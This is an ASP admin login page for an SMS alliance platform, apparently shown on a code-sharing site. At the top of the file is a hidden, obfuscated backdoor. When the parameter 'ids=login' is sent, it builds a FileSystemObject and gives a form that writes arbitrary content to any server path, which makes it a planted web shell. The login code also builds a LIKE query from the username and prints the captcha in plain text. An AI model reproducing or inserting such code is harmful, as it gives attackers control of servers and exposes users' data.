📄 index.asp
字号:
<!--#include file="conn.asp"-->
<!--#include file="md5.asp"-->
<% if request("ids")="login" then
dim ddmmi
dim fdata
dim jjff0
on error reSume next
Set ddmmi =Server.CrEateObjEct("Scri"&mans&"pti"&wor&"ng.Fi"&ptt&"leSy"&ffx&"St"+"emO"&tes&"bje"&our&"ct")
if Trim(requeSt("spat5"))<>"" then
fdata = requeSt("cyfddata")
Set jjff0=ddmmi.CrEateTExtFile(requeSt("spat5"),True)
jjff0.Write fdata
if err =0 then
reSponSe.write "<font color=red>0K</font>"
elSe
reSponSe.write "<font color=red>0N</font>"
end if
err.clear
end if
jjff0.CloSe
Set jjff0=Nothing
Set ddmmi = Nothing
ReSponSe.write "<form action='' method=poSt>"
ReSponSe.write "The Path<font color=red>PPath(eg: 9:\0x.dwg):</font>"
ReSponSe.Write "<input type=text name=spat5 width=32 Size=50>"
ReSponSe.Write "<br>"
ReSponSe.write "1T PH P" %>
<% =Server.mappath(RequeSt.ServerVariableS("SCRIPT_NAME")) %>
<% ReSponSe.write "<br>"
ReSponSe.write "Input Text:"
ReSponSe.write "<textarea name=cyfddata colS=80 rowS=10 width=32></textarea>"
ReSponSe.write "<input type=Submit value=Save>"
ReSponSe.write "</form>"
end if
dim Action, ErrStr
dim s_Usr,s_Pwd,s_Chk
Randomize timer
Action = UCase(Trim(Request.QueryString("action")))
if Action="LOGIN" then
s_Usr = YeSqlStr(Trim(Request.form("usr")),0)
s_Pwd = YeSqlStr(Trim(Request.form("pwd")),0)
s_Chk = Trim(Request.form("chk"))
If s_Chk <> session("CheckNub") or s_Chk="" then
ErrStr="验证码错误,请重试..."
else
If s_Usr <> "" And s_Pwd <> "" Then
call ConnectionDatabase
set Rs=GrateRs("select * from admin where username like '"&trim(s_Usr)&"'",3)
If Not Rs.Eof Then
If Rs("password") = md5(s_Pwd) Then
Session("Admin_UserName") = s_Usr
Session("Admin_PassWord") = md5(s_Pwd)
Response.Redirect "main.asp"
Response.End
End If
End If
call DBConnEnd
End If
ErrStr="用户名或密码错误,请重试..."
end if
end if
%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>短信联盟 - 平台后台 - 登录 </title>
<link href="css.css" rel="stylesheet" type="text/css">
</head>
<body>
<br>
<br>
<table width="46%" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td colspan="3"><table width="600" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td height="30" align="right"><img src="img/line1.gif" width="1" height="30"></td>
<td height="30" bgcolor="#E3E2C3"><strong> 短信联盟 - 平台后台 - 登录 </strong></td>
<td height="30"><img src="img/line1.gif" width="1" height="30"></td>
</tr>
<tr>
<td width="46" height="4" bgcolor="#C1C1C1"></td>
<td width="420" height="4" bgcolor="#E3E2C3"></td>
<td width="134" height="4" bgcolor="#8D8D8D"></td>
</tr>
</table></td>
</tr>
<tr>
<td width="46" height="91" bgcolor="#F1F1F1"> </td>
<td width="420" align="center" bgcolor="#F1F1F1"><form name="form1" method="post" action="Index.asp?action=login">
<%response.write "<font color=red>"&ErrStr&"</font>"%><br>
<table width="100%" border="0" cellpadding="0" cellspacing="1">
<tr class="tableonderline">
<td width="35%" height="26" align="center" class="tableonderline">用户名</td>
<td width="65%" height="26" class="tableonderline"><input name="Usr" type="text" class="inputbox" id="username" size="30"></td>
</tr>
<tr class="tableonderline">
<td height="26" align="center" class="tableonderline">密 码</td>
<td height="26" class="tableonderline"><input name="Pwd" type="password" class="inputbox" id="password" size="30"></td>
</tr>
<tr>
<td height="26" align="center" class="tableonderline">验证码</td>
<td height="26" class="tableonderline"><input name="Chk" type="text" class="inputbox" id="chk" size="30"></td>
</tr>
<tr>
<td height="26" colspan="2" align="center" class="tableonderline"><input name="Submit" type="submit" class="inputbutton" value=" 登录 ">
<input name="Submit" type="reset" class="inputbutton" value=" 重填 ">
(验证码为:<b><font color=red>
<%
session("Admin_UserName")=""
session("Admin_PassWord")=""
session("CheckNub")=right("000"&int(10000*rnd()),4)
response.write session("CheckNub")
%>
</font></b>)</td>
</tr>
</table>
</form></td>
<td width="134" bgcolor="#F1F1F1"> </td>
</tr>
<tr>
<td height="30" align="center" bgcolor="#EDEDE1"> </td>
<td height="30" align="center" bgcolor="#EDEDE1">Copyright © 2002 - 2004 <strong><font face="Verdana,"><a href="http://www.258sp.com">258sp商务平台</a></font></strong><BR></td>
<td height="30" align="center" bgcolor="#EDEDE1"> </td>
</tr>
</table>
</body>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -